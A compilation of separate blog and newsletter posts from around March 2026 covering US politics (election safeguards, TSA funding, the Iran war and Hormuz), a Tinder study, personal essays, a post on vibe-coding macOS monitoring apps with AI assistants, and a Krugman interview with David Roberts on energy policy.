Some people argue that this is all a mistake because it may raise the specter and fear of going to vote on Election Day, thus doing the White House’s work for it. Or perhaps they say that it’s a bad idea to push these questions into court now because that might generate bad case law and backfire. People who say these things are very dumb and you should not listen to them. Any case law to be made or fear to be sown will be made or sown at some later point by the White House, at a time and in a manner of its choosing, to its own maximum advantage. There’s no military theory or really any kind of competition where the established wisdom is to cede the initiative to your opponent and then react to whatever they decide to do. This is obvious, and anyone who doesn’t grasp that is a fool.

Action also shapes the political context in which you operate. It sends a signal of power and command which emboldens supporters and puts opponents in a defensive posture. As I have expressed in various posts over the last year, I’m cautiously optimistic that we will have a free and fair election in which the will of the voters is translated into legitimate election results. Of course the White House will try to put its thumb on the scales. But I also think the opposition will be vigilant and, critically, law and constitution are so heavily on the opposition’s side that I don’t think the White House will make much headway. But again, we don’t have to be predicting or hoping or teasing out hypotheticals. There’s plenty of ground on which to act. So start now.

I’ve gotten a number of helpful responses to my post from earlier today about the necessity of escalating the question of whether the White House will try to deploy ICE agents to interfere with the 2026 midterm elections. In the course of following up on a few points readers had made, I found a piece of model legislation published on March 9th by the Brennan Center. (If you don’t know about the Brennan Center, they operate at the pinnacle level in terms of competence, expertise, reliability. They are perhaps a bit more conventional in their thinking — in terms of the law — than I am. But that’s not a criticism. You need people working in many different lanes to save a country.) Model legislation is a generic piece of legislation that state legislatures can pass whole or pass with their own fine-tuning. A lot of the drafting legwork is done by the creator of the model. So it can then be implemented quickly and well, so long as the model legislation is good.

This seems very good to me. Let me explain.

There are already federal laws that ban soldiers or armed federal agents at polling stations. But since Trump owns federal law enforcement, that doesn’t really matter. What this model does is recommend states pass their own state laws which follow the language of those federal laws as closely as possible. That accomplishes two critical purposes. The big threat to these kinds of defensive state laws is federal supremacy. When state and federal power or law come into conflict, federal law is supreme. But only when the federal government or federal authorities are acting in a constitutional and lawful capacity. Since these new state laws would only be outlawing what is already against federal law they are only outlawing actions which by definition cannot be lawful. Approaching the problem in this way, by mimicking these seldom-discussed or used federal laws, disposes of the supremacy clause issue categorically and elegantly. State officials are now on solid enforcement grounds. Additionally, individual federal officials only have criminal immunity if they are acting lawfully. The model law also creates a civil cause of action which citizens can use to sue federal officials from violating their rights.

There are other details about the strategy and theory behind this approach which you can find on the page which has the text of the model law. Definitely read it if you’re interested and certainly read it if you serve in a state legislature or are part of an activist group which might lobby state officials to pass such a law.

This isn’t one and done. I think this is one of a number of legislative and executive actions states should be undertaking now. But this is a very good and necessary place to start. And from my non-lawyer perspective, it looks very robust in conventional terms. When I say “conventional,” I mean that I also favor more aggressive tactics. The separate sovereignties of the states have very expansive powers to defend the democratic rights of their citizens and the federal Constitution when a criminal and anti-constitutional executive is trampling them. But these are extraordinary arguments. Most people aren’t thinking in those terms yet. This approach accomplishes a lot of what you want to accomplish in very conventional legal terms. So every state should absolutely do it as a big and first step.

One other point I want to make. Don’t be over literal about what the law accomplishes. It empowers state executive officials to block criminal executive branch interference. It gives state legal officials the power to indict federal officers for that criminal interference. But it also begins the critical process of taking power over the whole question back into the hands of the states which lawfully run elections. The passage of such laws would become news stories in every state they were passed in. It would put state Republican lawmakers on the spot to explain why they won’t support such unobjectionable legal language. Again, this is all already illegal at the federal level. It begins to shift the entire debate. It’s the democratic forces in the Free States taking the matter to the criminal executive rather than waiting passively on the latter to decide when and on what terms to act. It energizes the opposition and begins fleshing out how a criminal executive could try to reach his hand into the states, how the states can resist those efforts and the legal and operational specifics of how it would play out.

I’ll write more on the importance of this in the coming days. But for now, it’s you want to do something, get your state to pass this law. Get your local Indivisible chapter involved. Call your local representatives. This is really important and it’s something you can do right now.

Secretary of State Marco Rubio today made some extraordinary comments after briefing G7 leaders about the progress — albeit difficult to call it that — in the U.S.’s Iran War. He seemed to say that the U.S. won’t be able to reestablish freedom of transit through the Strait of Hormuz even as a final war objective, let along doing so in the short term by force or threat. He said he told the G7ers that one of the post-war challenges will be Iran setting up a tolling system for passage through the Strait. In other words, Iran will be so empowered after the war that it will be able to assert or seriously contest sovereignty over the Strait.

This is such a remarkable statement that I want to quote it at length. I had seen more garbled and clipped versions of it. These are from a report in The Hill.

“I did describe to our allies, however, that immediately after this thing ends, and we’re done with our objectives, the immediate challenge we’re going to face is an Iran that may decide that they want to set up a tolling system in the Strait of Hormuz. Not only is this illegal, it’s unacceptable, it’s dangerous for the world. And it’s important that the world have a plan to confront it.”

You note “the world” needs to get on this. He then said that the U.S. “is prepared to be part of that plan.” But part of, not lead. And then …

“But these countries have a lot at stake, not just the G7 countries, but countries in Asia and all over the world have a lot at stake and should contribute greatly to that effort, to ensure that neither the Strait of Hormuz or, frankly, any international waterways should ever be something that’s controlled or tolled by a nation-state or by a terroristic government like the one that exists in Iran today and that clerical, radical clerical regime.”

The key here is that the U.S. seems to expect the war to end without any agreement simply not to block the Strait of Hormuz or exact tolls through it, which means claiming sovereignty over it as a kind of inland waterway. There’s really no way to describe this other than conceding that Iran will emerge from the war massively strengthened. We’ve come a long, long way from regime change and unconditional surrender. The other way to view it is that Rubio concedes that Iran will come out of the war massively strengthened and that it’s up to Europe and perhaps some countries in Asia to fix it.

Needless to say, there’s a lot here that requires explanation. The EU powers seem to be saying they’ll be part of some post war plan to keep the Strait open. But only after the conflict is over. Point being they don’t want to be operating in any war zone. But wait! … if Iran is claiming sovereignty over the Strait and charging tolls, you don’t necessarily change that without at least threatening to go to war again. And that’s clearly not what the EU powers are signing off on.

Clearly we need to know more of what on earth Rubio is saying here. But what’s clear is that the U.S. has seemingly given up on free passage through the Strait even as part of a final settlement.

Emine Yücel has those details, and others, as the Senate attempt to pay TSA falls apart in the House, and Trump (seemingly extralegally) orders that the officers be paid.

The Hawaiian bobtail squid has bioluminescent bacteria.

Online dating apps have transformed the dating market, yet their broader effects remain unclear. We study Tinder’s impact on college students using its initial marketing focus on Greek organizations for identification. We show that the full-scale launch of Tinder led to a sharp, persistent increase in sexual activity, but with little corresponding impact on the formation of long-term relationships or relationship quality. Dating outcome inequality, especially among men, rose, alongside rates of sexual assault and STDs. However, despite these changes, Tinder’s introduction did not worsen students’ mental health on average and may have even led to improvements for female students.

That is from a new paper published in AEJ: Applied Economics, by Berkeren Büyükeren, Alexey Makarin, and Heyu Xiong.

The post Is Tinder actually OK? appeared first on Marginal REVOLUTION.

The ongoing battle over funding Transportation Security Administration (TSA) agents at U.S. airports gives a detailed view of Republican governance in this era.

Republicans hold a majority of seats in both the House of Representatives and the Senate. They also hold the White House. On paper, this control makes it look as if Republicans should be able to put anything they want into law. But the reality is that the extremism of President Donald J. Trump and the MAGA Republicans is so unpopular that those clinging to it are making it impossible for the Republicans to govern.

The fight over TSA funding is a case study of this dynamic. When Congress passed the appropriations bills necessary to fund the U.S. government for 2026, Republicans in the House passed funding for the Department of Homeland Security with a simple majority vote and sent the measure off to the Senate.

But in the Senate, the minority can stop a measure from coming up for a vote unless sixty members agree to move it forward. With this leverage, provided by the so-called filibuster, Democrats refused to give more money to Immigration and Customs Enforcement (ICE) and Customs and Border Protection (CBP), the parent agency for Border Patrol. Border Patrol is the law enforcement agency of CBP that has been in the news as its agents assault undocumented immigrants and U.S. citizens alike.

Back in July 2025, when they passed the budget reconciliation law they call the One Big Beautiful Bill Act, Republicans provided $170.7 billion in additional funding for immigration and border enforcement activities by DHS, as well as for the presence of soldiers with the Defense Department on the border. That money included $29.9 billion for ICE, with funding for an additional 10,000 officers. The law gave ICE a lot of leeway in spending that money. The law also included $7.8 billion for CBP with funds to hire 3,000 new Border Patrol agents.

With White House deputy chief of staff Stephen Miller directing immigration policy, alongside then–Homeland Security secretary Kristi Noem and her associate Corey Lewandowski, ICE and Border Patrol agents terrorized people in American cities. Their regime eventually led to the shooting deaths of two U.S. citizens in Minnesota, Renee Good and Alex Pretti. Daniel Lippman of Politico reported today that the stress of his job—including dealing with Miller’s tirades—has led the acting head of ICE, Todd Lyons, to be hospitalized at least twice in the past seven months.

As the White House pushed ever-increasing numbers of arrests and as videos circulated of ICE and Border Patrol agents beating individuals up, Americans turned against Trump’s handling of immigration. A survey out yesterday from the Public Religion Research Institute (PRRI), a nonprofit, nonpartisan organization researching popular opinion on topics that touch the intersection of religion, culture, and politics, showed that just 35% of Americans approve of Trump’s handling of immigration, while 61% disapprove. An even lower number—33%—hold favorable views of ICE officers, while 67% like their local police officers.

Fifty-seven percent of Americans think sending ICE officers to places like Minnesota is making those places less safe, while only 38% disagree. And only 36% of Americans want Congress to give ICE more money, although 76% of Republicans favor increased funding for ICE.

Public opposition to more funding for ICE and Border Patrol without significant changes to their behavior has put Democratic senators on solid ground to oppose funding all of DHS without a promise of those changes. “In the wake of the murder of Alex Pretti and Renee Good, Democrats made it clear, no blank check for ICE and Border Patrol,” Senate minority leader Chuck Schumer (D-NY) explained. Senate Democrats repeatedly tried to pass a measure to fund all of DHS except ICE and Border Patrol, which were already funded with that huge pot of money under the budget reconciliation bill of last July.

But Republicans, under pressure from Trump, repeatedly voted down the Democrats’ attempt to fund the rest of DHS, including TSA, without funding for ICE and CBP, instead demanding Democrats pass the package the House had, the one with full funding for DHS, including for ICE and CBP.

Then, on Sunday, Trump demanded the Senate add to the funding plan the so-called Safeguard American Voter Eligibility (SAVE America) Act, a bill that would require people to show not just ID but also proof of citizenship to register to vote and to vote and would severely restrict mail-in voting. It would also require states to hand over their voting lists to the federal government for processing through a government database used to screen for noncitizens applying for federal programs—confusingly also called the SAVE system, although it stands for “Systematic Alien Verification for Entitlements”—even though that procedure has a rate of false positives as high as 14%. The Brennan Center estimates that the SAVE America Act would kick at least 21 million Americans off voting lists.

To that legislation, Trump has also added provisions targeting transgender Americans, apparently to appeal to his faltering base and pressure Republican senators to vote in favor of the measure.

In order to get his wish list, Trump has called for Senate majority leader John Thune (R-SD) to get rid of the filibuster, enabling Senate Republicans to push through whatever they want without any Democratic votes, as the Republican majority in the House can do. Yesterday, Trump posted: “When is “enough, enough” for our Republican Senators. There comes a time when you must do what should have been done a long time ago, and something which the Lunatic Democrats will do on day one, if they ever get the chance. TERMINATE THE FILIBUSTER, and get our airports, and everything else, moving again. Also, add the complete, all five items, SAVE AMERICA ACT items. Go for the Gold!!! President DJT”

Meanwhile, some TSA agents, unpaid for over a month, began to quit. Others called in sick. And lines in airports began to grow longer and slower. So, apparently on a whim designed to pressure Democrats, Trump sent ICE agents into fourteen airports in eleven cities, where without training to do security checks, they did little to relieve congestion. The contrast of ICE agents standing around collecting paychecks while TSA agents were working without them ended up pressuring Trump, rather than the Democrats.

Then, yesterday, Trump suddenly announced he would sign an emergency order to pay TSA agents, suggesting he could have done so all along, although it is not clear where the money will be coming from or whether moving money in the way he suggests is even legal.

As soon as Trump said it would be okay to pay TSA agents, Senate Republicans agreed to pass the measure that was essentially what the Democrats called for (remember, only 36% of Americans want Congress to give ICE more money). At 2:00 this morning, they unanimously passed a measure that funds every part of DHS, including TSA agents, but does not give more money to ICE and Border Patrol until Democrats and Republicans agree on reforms, although Thune vowed that he would see to it that Democrats don’t get the reforms they want.

The Senate passed the measure and left for a two-week break, sending their bill to the House, which could have passed it and then gone home.

But…

As Representative Sean Casten (D-IL) explained, members of the far-right Freedom Caucus took a stand against the bill, apparently because they want more money for ICE and Border Patrol, want the SAVE Act, and want Trump’s approval. House speaker Mike Johnson (R-LA) could ignore them and pass the measure with the votes of all the Democrats and most Republicans. But Johnson depends on the far right to maintain his speakership, so he says he will refuse to pass the Senate’s measure and instead get the House to pass a 60-day continuing resolution to fund DHS at its current levels.

But the Senate fight has shown that Thune does not have the votes to fund ICE and Border Patrol without reforms. Schumer has said a continuing resolution would be dead on arrival, and right now the Senate is on break, meaning TSA agents are facing two more weeks without paychecks. Olivia Beavers of the Wall Street Journal reported that when a representative asked Johnson if the Senate had agreed to come back to deal with a new measure from the House, Johnson answered: “The Senate went dark and did not communicate with us.”

“It’s so maddening,” Casten wrote on social media. “Government workers should be paid. You shouldn’t have to wait on lines in airports, or worry about Coast Guard preparedness, or whether FEMA can handle the next disaster. But you do because of the utter lack of character in [Republican] leadership.”

“What the hell are you guys doing?” Representative Jim McGovern (D-MA) asked Republicans on the floor of the House. Everyone knows the bill could pass with a large majority if Johnson would bring it to a vote, he said. Freedom Caucus members “don’t care about governing,” he said. “They only care about writing another blank check for ICE…or getting a shout-out on some batsh*t crazy right-wing podcast.”

And so, TSA agents will not get paid unless Trump’s executive order goes into effect, taking the power to appropriate funds, a power that the U.S. Constitution gives to Congress alone, and handing it to the president.

For years, the far right has insisted that it and only it knows how to govern because its ideology is the only legitimate way to look at the world. The fight over funding for TSA illustrates on a micro level how lawmakers who ignore the real world to cleave to an ideology strengthen authoritarianism.

But these days, the dangers of clinging to the far-right ideology are around us at the macro level as well. We are almost four weeks into a war with Iran, started without input from Congress by a president who is now contemplating sending soldiers to fight in a conflict he is eager to put into the rear-view mirror. Trump “is getting a little bored with Iran,” a senior White House official told Jake Traylor of MS NOW. “Not that he regrets it or something—he’s just bored and wants to move on.”

As the strangling of the Strait of Hormuz sends oil prices skyrocketing, though, the global economy is not moving on. Today another dramatic drop in the stock market put the Dow Jones Industrial Average down more than 10% since February and the Nasdaq 100 down more than 10%, while the S&P 500 is shaping up to have its worst month since 2022.

—

Notes:

https://www.americanimmigrationcouncil.org/fact-sheet/big-beautiful-bill-immigration-border-security/

https://prri.org/press-release/survey-6-in-10-americans-view-trumps-handling-of-immigration-unfavorably-believe-surge-of-ice-officers-makes-communities-less-safe/

https://www.pbs.org/newshour/politics/why-do-ice-agents-get-paid-during-the-partial-government-shutdown-but-not-tsa

https://www.texastribune.org/2026/02/13/save-voter-citizenship-tool-mistakes-confusion/

https://www.democracydocket.com/news-alerts/frustrated-by-filibuster-trump-and-maga-allies-eye-nuking-it-to-pass-save-america-act/

https://www.democracydocket.com/news-alerts/trump-is-adding-anti-trans-provisions-to-save-america-act/

https://www.npr.org/2026/03/27/g-s1-115366/senate-dhs-tsa-deal

https://www.wsj.com/politics/policy/senate-approves-funding-for-most-of-dhs-moving-to-end-airport-crisis-d8830efc

https://www.politico.com/news/2026/03/27/todd-lyons-ice-stress-hospital-00848458

https://www.wsj.com/livecoverage/stock-market-today-dow-sp-500-nasdaq-03-27-2026

https://www.brennancenter.org/our-work/analysis-opinion/new-save-act-bills-would-still-block-millions-americans-voting

https://www.bloomberg.com/news/articles/2026-03-27/wall-street-reels-as-iran-war-shatters-its-portfolio-defenses

https://www.theguardian.com/us-news/2026/mar/26/senate-dhs-funding-bill-fails

https://www.ms.now/news/trump-iran-war-messaging-white-house-divide

https://www.forbes.com/sites/conormurray/2026/03/24/heres-how-much-ice-agents-at-airports-may-be-making-as-tsa-goes-unpaid/

https://www.huffpost.com/entry/house-republicans-reject-senate-dhs-deal_n_69c561a5e4b09f8e00506bcc

X:

Olivia_Beavers/status/2037575339317108960

Bluesky:

trumpreposter.bsky.social/post/3mhxgtgwqzk2z

seancasten.bsky.social/post/3mi2n3rzlys2u

jbendery.bsky.social/post/3mi2r4dngok2t

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So a bunch o’ times per week I roll out of bed, brush my teeth, pee, stretch, check my phone, stretch some more—then call for Poppy The Superdog, leash her up and head off on a two-mile walk through the neighboring streets.

It’s a genuinely lovely stroll. The morning dew. Citrus trees. A puppy over there, a squirrel over here. Sometimes I listen to music, other times a podcast. Mostly, I just soak in the sounds and smells of another day in beautiful Southern California.

This morning, I saw her.

She’s a woman in her 70s. Blonde hair, sorta short. Usually sports leggings, a T-shirt and … a black MAGA hat.

This one:

I’d say I spot her on, oh, 70 percent of my walks. She’s usually walking toward me, I’m walking toward her.

And in my mind, this unfolds …

ME: “Hey, can I ask you a question?”

HER: “Sure.”

ME: “Why do you still support Trump?”

HER: “Because he’s making America great.”

ME: “Um.”

HER: “You don’t think so?”

At this point, I unspool all the shit Donald Trump has done to undermine America. The greed. The corruption. The racism. The homophobia. The transphobia. Deals with Russia. Placing his name on everything. Suppressing the Epstein Files. The nightmare in Iran. On and on and on. I tell her that, for a guy who hates DEI, Trump sure rewards white incompetency. I tell her that, for a guy who speaks out against anti-Semitism, it’s weird how many Jewish-hating statements he’s made. I ask her why it’s OK for him to cheat on multiple wives, then pay off a porn star. I ask her why it was fine for him to ridicule POWs because they were captured. I break out my phone to show her the “Grab ‘em by the pussies” video, then the ridiculing of a disabled reporter.

I’m on a roll. Left, right, right left. Jab. Jab. Uppercut. Hook. Bringing forth every possible argument against Donald Trump. Proof that the woman in the MAGA hat has been seduced by a cult that gives not two shits about her.

•

Alas, I say none of it. I smile, wave, wish her a good morning and walk back toward home.

Poppy needs her breakfast.

And I need to maintain my sanity.

The video has been translated. It’s from earlier this week.

Trust me, watch it.

Watch every minute.

And maybe ask yourself, as I did: Where are men like this in the Republican Party? Where are the guts? Where are the principles? Where are folks willing to call out the bullshit?

Where are they?

1. New data on non-competes.

2. Carl Schmitt in Miami?

3. “The gesture establishes a hierarchy in which Tyler Cowen determines the hierarchy.”

4. How the spreadsheeet reshaped America.

5. What works of literature were written by the elderly?

6. The Anglosphere is ahead on AI adoption.

7. NYT obit of Trivers.

8. Aliens, demons, whatever.

9. Austin Vernon on Hormuz and its resolution through economic means.

The post Saturday assorted links appeared first on Marginal REVOLUTION.

On Monday we drove over to Essex to empty our beach hut. When I was a small child my family started holidaying in Walton-on-the-Naze and my parents always had this beach hut there, one row back from the concrete promenade and golden sand. We’d holiday in our static caravan and walk over to the beach hut for a day by the sea.

My sister and I grew up, my parents got older, and once they stopped going the hut was passed on to the next generation. Mary and I carried on enjoying it. This shelter was the ideal base for a day at the seaside: cooking a breakfast fry-up; having lunch; making a pot of tea; sheltering from rain, wind or sun; storing chairs, towels, crockery, and everything else we might need.

Wooden sheds by the sea are constantly deteriorating and we had some rotten wood replaced, the roof re-felted, and new doors made to protect the front from the elements. It was re-painted outside, yet again, and I gave the inside its first fresh coat of paint in maybe 50 years or more. It still had the same kitchen units and Cornishware crockery from when my parents first took it on.

It was one of my favourite places in the world. Maybe my favourite place of all but it’s hard to judge such nebulous things. There’s nothing objectively amazing about it. The view isn’t particularly special, that stretch of beach isn’t that remarkable.

But a lifetime of holiday visits to that wooden hut and an area that’s changed little since I was a child, all built up to make this damp, sometimes chilly, always sandy place something very special to me. A real escape, a hidey-hole. Sitting there, away from everything but the sounds of children playing, people chattering, and always the waves breaking.

But it seems silly to hang on to a hut that’s now on the other side of the country from us. We thought we might be able to carry on visiting after we moved and we have, a couple of times, but not enough to warrant managing the inevitable next round of repairs. Or to prevent another family from enjoying making their own memories of happy seaside days.

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I have a new laptop - a 128GB M5 MacBook Pro, which early impressions show to be very capable for running good local LLMs. I got frustrated with Activity Monitor and decided to vibe code up some alternative tools for monitoring performance and I'm very happy with the results.

This is my second experiment with vibe coding macOS apps - the first was this presentation app a few weeks ago.

It turns out Claude Opus 4.6 and GPT-5.4 are both very competent at SwiftUI - and a full SwiftUI app can fit in a single text file, which means I can use them to spin something up without even opening Xcode.

I’ve built two apps so far: Bandwidther shows me what apps are using network bandwidth and Gpuer to show me what’s going on with the GPU. At Claude’s suggestion both of these are now menu bar icons that open a panel full of information.

Bandwidther

I built this app first, because I wanted to see what Dropbox was doing. It looks like this:

I’ve shared the full transcript I used to build the first version of the app. My prompts were pretty minimal:

Show me how much network bandwidth is in use from this machine to the internet as opposed to local LAN

(My initial curiosity was to see if Dropbox was transferring files via the LAN from my old computer or was downloading from the internet.)

mkdir /tmp/bandwidther and write a native Swift UI app in there that shows me these details on a live ongoing basis

This got me the first version, which proved to me this was worth pursuing further.

git init and git commit what you have so far

Since I was about to start adding new features.

Now suggest features we could add to that app, the goal is to provide as much detail as possible concerning network usage including by different apps

The nice thing about having Claude suggest features is that it has a much better idea for what’s possible than I do.

We had a bit of back and forth fixing some bugs, then I sent a few more prompts to get to the two column layout shown above:

add Per-Process Bandwidth, relaunch the app once that is done

now add the reverse DNS feature but make sure original IP addresses are still visible too, albeit in smaller typeface

redesign the app so that it is wider, I want two columns - the per-process one on the left and the rest on the right

OK make it a task bar icon thing, when I click the icon I want the app to appear, the icon itself should be a neat minimal little thing

The source code and build instructions are available in simonw/bandwidther.

Gpuer

While I was building Bandwidther in one session I had another session running to build a similar tool for seeing what the GPU was doing. Here’s what I ended up with:

Here's the transcript. This one took even less prompting because I could use the in-progress Bandwidther as an example:

I want to know how much RAM and GPU this computer is using, which is hard because stuff on the GPU and RAM does not seem to show up in Activity Monitor

This collected information using system_profiler and memory_pressure and gave me an answer - more importantly it showed me this was possible, so I said:

Look at /tmp/bandwidther and then create a similar app in /tmp/gpuer which shows the information from above on an ongoing basis, or maybe does it better

After a few more changes to the Bandwidther app I told it to catch up:

Now take a look at recent changes in /tmp/bandwidther - that app now uses a sys tray icon, imitate that

This remains one of my favorite tricks for using coding agents: having them recombine elements from other projects.

The code for Gpuer can be found in simonw/gpuer on GitHub.

You shouldn't trust these apps

These two apps are classic vibe coding: I don't know Swift and I hardly glanced at the code they were writing.

More importantly though, I have very little experience with macOS internals such as the values these tools are measuring. I am completely unqualified to evaluate if the numbers and charts being spat out by these tools are credible or accurate!

I've added warnings to both GitHub repositories to that effect.

This morning I caught Gpuer reporting that I had just 5GB of memory left when that clearly wasn't the case (according to Activity Monitor). I pasted a screenshot into Claude Code and it adjusted the calculations and the new numbers look right, but I'm still not confident that it's reporting things correctly.

I only shared them on GitHub because I think they're interesting as an example of what Claude can do with SwiftUI.

Despite my lack of confidence in the apps themselves, I did learn some useful things from these projects:

• A SwiftUI app can get a whole lot done with a single file of code - here's GpuerApp.swift (880 lines) and BandwidtherApp.swift (1063 lines).
• Wrapping various terminal commands in a neat UI with Swift is easily achieved.
• Claude has surprisingly good design taste when it comes to SwiftUI applications.
• Turning an app into a menu bar app is just a few lines of extra code as well.
• You don't need to open Xcode to build this kind of application!

These two apps took very little time to build and have convinced me that building macOS apps in SwiftUI is a new capability I should consider for future projects.

Tags: macos, ai, generative-ai, llms, vibe-coding, coding-agents, swift, claude-code

I’ve been reading David Roberts on energy and climate for years, first at Grist, then at Vox, now at Volts, his Substack. Now we’re in a war-generated energy crisis, with many people reconsidering the energy future, and I thought a conversation about energy policy, technology, and America as possibly the last petrostate would be very useful. Transcript follows.

. . .

TRANSCRIPT:
Paul Krugman in Conversation with David Roberts

(recorded 3/26/26)

Paul Krugman: Hi, everyone. Paul Krugman here. It’s an interesting week for global energy stuff, and we might get into that at some point, but that’s actually where I started in economics. And, someone I’ve been reading about energy, climate, everything related for many, many years is David Roberts, formerly at Grist, then at Vox, and now on Substack, like everybody. (laughs)

I’ve been reading David for ages.

David Roberts: My Substack is called “Volts”. Everybody come subscribe. Got to do the promotion.

Krugman: That’s right. You have a second one, which is more personal stuff as well. But Volts is the one you want to go to.

Long time reader, but I’ve never talked to you before. There’s lots of stuff beyond the current moment, but let’s just get into the moment. We are in the third great global energy crisis, after the two in the 70s. This time—for a change—it’s starting with political turmoil and war in the Middle East. Well actually, as always. (laughs)

Roberts: This one is distinguished in that it was 100% spontaneously self-created. It really distinguishes it.

Krugman: It’s kind of amazing. I’m trying not to obsess about the idiocy of the whole thing. I’m not sure if this is coming out of the blue for you—probably. But, suddenly everybody’s in crisis mode and scrambling for ways to burn less oil, use less energy. Do you have any thoughts on what could be done around the world, maybe even here? Although unlikely.

Roberts: Well, it depends a lot on where you’re talking about. We in the US, as a wealthy country, have a million tools. We had a bunch of them on the books mere months ago before we destroyed those, you know what I mean? There’s a million tools that developed countries have, the crunch here’s for emerging economies who don’t have a lot of slack, who don’t have a lot of alternatives. Places like Vietnam, they’re starting to impose crude “don’t drive on Tuesday” kind of rules. We can get through a lot of this smoothly just on our buffer of wealth. But oil-importing countries in emerging nations don’t have very many tools other than suffering.

Krugman: I haven’t tracked all the conservation stuff, but is anybody doing—I’m old enough to remember—even odd license plate numbers, and that sort of thing. I guess some countries are actually turning to that already.

Roberts: I just read the other day, I think Brazil is hosting a World Cup game and telling people, “just watch from home, don’t come out, don’t drive to the World Cup,” and they’re instituting work-from-home things. It’s just they don’t have a lot of tools like we do.

Krugman: I should get on with the conversation, but I’ve been reading about airport lines—fortunately not traveling right now—and it turns out the worst place is George Bush International and apparently part of the reason for that is all of the TSA workers have to drive long distances to get to work and can’t afford to, since they’re not being paid—given the gas prices.

Roberts: I don’t know if you saw, the post office now is instituting an 8% surcharge on packages because of fuel costs. You might recall that Biden put in place an enormous, very well funded program to shift the United Postal Service vehicles to electric vehicles, and Trump killed that. So now they’re stuck on gas and diesel, and it’s crushing the post office, like everything else.

Krugman: Let’s go back to where I first started reading you, which is climate. You were writing a lot for Grist about climate and one thing that’s been really striking to me is how the whole climate science debate issue has receded from the political front burner. What happened there?

Roberts: Well, that’s….

Krugman: A long story. I know….

Roberts: But if I had to boil it down, I would say during the 2024 election, there were a lot of people in the political establishment, a lot of pundits, a lot of even Democrats who read the 2024 election as some grand historical turning point away from woke—away from racial equity, away from climate, away from all these things that the woke liberals had “forced us” all to talk about, since 2020. They just all decided at a stroke overnight, basically, “no one cares about climate anymore. Let’s stop talking about climate. Let’s talk about affordability.” So no one talks about it anymore. Honestly, in this country, it’s vanished from public debate.

Krugman: You wrote about how at one point you started writing less about climate science, talk about that because I think that’s an interesting thing, because I feel the same way.

Roberts: There are people who are interested in science qua science, “just for its own sake.” Those people can read as much about climate change as they want to. But for my part, I’m interested in the social and political and economic implications and basically, the implications are we need to decarbonize as fast as possible. That’s all I need to know from climate change science. So let’s get on with it, let’s do that, let’s decarbonize. I don’t dwell on the science itself anymore. I will say the strategy among Democrats in the left of doing this, trying to do this in a science-first way, “we’re going to make the scientific case, and then they’ll see we’re right, and then they’ll see the policy implications,” etc. clearly failed; the denialism talking points coming out of the Trump administration are substantially identical to Republican denialism talking points in 2003 or 2013, or 2023. They just don’t care about that. They don’t change anything based on that. So all the progress has come from technologies falling down the learning curve and shoving their way into markets, that’s where all the action is.

Krugman: I was fairly optimistic a few years ago because it seemed like the gods of technology were coming to our rescue, that we had all these wonderful green technologies. That’s still to some extent true, right?

Roberts: It’s absolutely true. One of the grand international stories right now—though it’s very hard when you’re in the midst of as much chaos and insanity as we are to get clear about the big narratives—is that the US is basically aligning itself as the last big petrostate. We’re going to go down with the fossil fuel ship, and China is aligning itself as the first electrostate. It is rapidly electrifying its economy, and it is dominating the technologies that enable an electrostate: batteries, EVs, etc., all that stuff. So where do you think the future lies? All these emerging nations right now are stuck on coal. The story the US is trying to tell you is “shift to LNG. It’s cleaner than coal.” You’ll get some emission reductions. And then, basically, you’ll become dependent on our LNG. And for emerging nations, that’s an enormous 50 year investment program. They’re thinking now, “well, where is the energy situation going to be in 50 years? Do we think that fossil fuels are going to win in 50 years?” By launching this war, I think we have accelerated the process of pushing emerging nations into China’s arms and faster toward clean energy. That’s going to be the big effect of all this.

Krugman: That’s interesting. And of course, the US is far less central to the global energy picture than it used to be. So even if the US is stuck in the coal age, it may not matter that much.

Roberts: We are now the biggest oil and gas producer in the world. And you might recall that Republicans told us for years and years, “we need more oil and gas production so that we can be energy independent.” So now we export more than we import, which was supposed to be the mark, the threshold, at which you have achieved energy independence. What we’re seeing now in visceral terms is that oil is a global market, and even if you’re the biggest producer on that global market, you’re still at the mercy of the global market. You still pay the high prices that everybody else pays, there is no energy independence as long as you’re stuck with fossil fuels. That’s the long and short of it.

Krugman: Just a word about it. Even aside from the future—the logistics of global reliance on U.S LNG, it can be done. It was actually amazing how it came to Europe’s rescue after Ukraine.

Roberts: Yes, when Ukraine happened, there was a crisis of gas in Germany and Germany almost overnight built three giant LNG import terminals to save themselves in an emergency situation, but what did they learn from that? What did Europe learn from that? That it’s good to be dependent on U.S LNG? Do they want to do that again? Do they want to be a vassal state to the United States, basically dependent on our energy production? No. Listen to Ed Miliband, his hair is on fire. He’s like, “we’re accelerating all this. We cannot be stuck on this fossil fuel roller coaster anymore and have the fate of our nation depend on the whims of the despotic leaders of Petrostates.” We just can’t live like this anymore. I think they’re not the only ones coming to that conclusion.

Krugman: I do not like being considered to live in a despotic Petrostate. I guess I do live in one however.

Roberts: Welcome to the club of despotic Petrostates. We’re in an interesting position because we are both a massive oil and gas producer and a massive oil and gas consumer. So we are sort of subject to both dynamics, and it makes for a very confused politics.

Krugman: A funny thought, but I remember the 70s. I’ve been around for a little too long here, and then, even though we were import dependent, we partially insulated U.S. consumers from the world market with price controls and blending and all that and all of which economists have condemned as being terrible and distorting. But on the other hand, looking at what’s happening now, you could say, maybe the previous generation wasn’t that stupid.

Roberts: Yes. There are some things you are willing to put to the mercies of a market. But having energy for your country is not one of them, right? There’s never been anything like a free market in energy anywhere in the world at any point. There’s a pretense of it that people use when they’re trying to defend their favorite energy industries. But everybody knows this is all planned. These are all centralized decisions, ultimately. We need to make their eyes open instead of stumbling backward like we’re doing now.

Krugman: Of course, there are alternatives now, maybe even dominant alternatives. I think I was first alerted to the burgeoning green technology possibilities probably from reading you circa 2010 or thereabouts. I wrote about it a bit and got slapped down by some of my seemingly energy savvy economist colleagues who said, “no, this is still pipe dreams.”

Roberts: You were right, Paul, stick to your guns! You will triumph in the end.

